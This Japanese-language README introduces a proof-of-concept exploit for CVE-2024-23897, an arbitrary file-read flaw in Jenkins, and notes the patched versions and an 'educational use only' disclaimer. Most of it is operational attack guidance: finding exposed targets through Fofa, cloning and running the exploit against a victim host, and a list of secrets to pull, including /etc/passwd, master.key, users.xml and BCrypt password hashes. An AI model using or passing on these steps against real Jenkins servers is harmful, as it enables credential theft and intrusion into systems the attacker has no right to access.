
POC - Jenkins ファイル読み取り脆弱性 - CVE-2024-23897
CVE-2024-23897 は、認証されていない攻撃者に Jenkins コントローラのファイルシステム上の任意のファイルを読み取り可能にする、Jenkins の重大な脆弱性です。この欠陥は、args4j ライブラリにおけるコマンド引数の不適切な処理に起因し、特にコマンドライン操作で @ 文字の後にファイルパスが続く場合に、許可されていないファイル内容の漏えいにつながる可能性があります。
この脆弱性は、暗号鍵や設定ファイルなどの機密情報へのアクセスを攻撃者に許し、リモートコード実行(RCE)を含むさらなる悪用に利用され得るため、重大なリスクをもたらします。Jenkins が CI/CD パイプラインで広く使用され、世界中に露出した Jenkins インスタンスが多数存在することを考えると、この問題は特に憂慮すべきものです。
この脆弱性に対処するセキュリティ修正は、Jenkins バージョン 2.442 以降、および Jenkins LTS バージョン 2.426.3 以降でリリースされています。ユーザーは、このリスクを軽減し機密情報を保護するために、Jenkins インストールをアップグレードすることを強く推奨されます。
詳細はこちら — CVE-2024-23897
免責事項: この Proof of Concept(POC)は、教育および倫理的なテストのみを目的として作成されています。事前の相互同意なしにターゲットを攻撃するためにこのツールを使用することは違法です。適用されるすべての地域、州、連邦法を遵守する責任はエンドユーザーにあります。開発者は一切の責任を負わず、このプログラムによって引き起こされた誤用や損害についても責任を負いません。
潜在的なターゲットを見つけるには、Fofa(Shodan.io に類似)を使用します:
影響を受ける Jenkins バージョンには、2.441 までと、Jenkins LTS の 2.426.2 までが含まれます。
リポジトリをクローンします:
git clone https://github.com/verylazytech/CVE-2024-23897
エクスプロイトを実行します:
python3 CVE-2024-23897.py -u <Victim_ip:port>

シェルに読み取りたいファイルを入力します(この場合 /etc/passwd):

興味があるかもしれないファイル:
/proc/self/environ JENKINS_HOME を含む環境変数/proc/self/cmdline コマンドライン引数/var/jenkins_home/users/users.xml ユーザーアカウントの保存場所/var/jenkins_home/users/<user_directory>/config.xml ユーザーの BCrypt パスワードハッシュ/var/jenkins_home/secrets/master.key 暗号化の秘密鍵/etc/hosts Linux ローカル DNS 解決/etc/passwd Linux ユーザーアカウントusage: python3 CVE-2024-23897.py [-h] -u URL [-f FILE] [-t TIMEOUT] [-s] [-o] [-p PROXY] [-v]
options:
-h, --help show this help message and exit
-u URL, --url URL Jenkins URL
-f FILE, --file FILE File path to read
-t TIMEOUT, --timeout TIMEOUT
Request timeout
-s, --save Save file contents
-o, --overwrite Overwrite existing files
-p PROXY, --proxy PROXY
HTTP(s) proxy to use when sending requests (i.e. -p http://127.0.0.1:8080)
-v, --verbose Verbosity enabled - additional output flag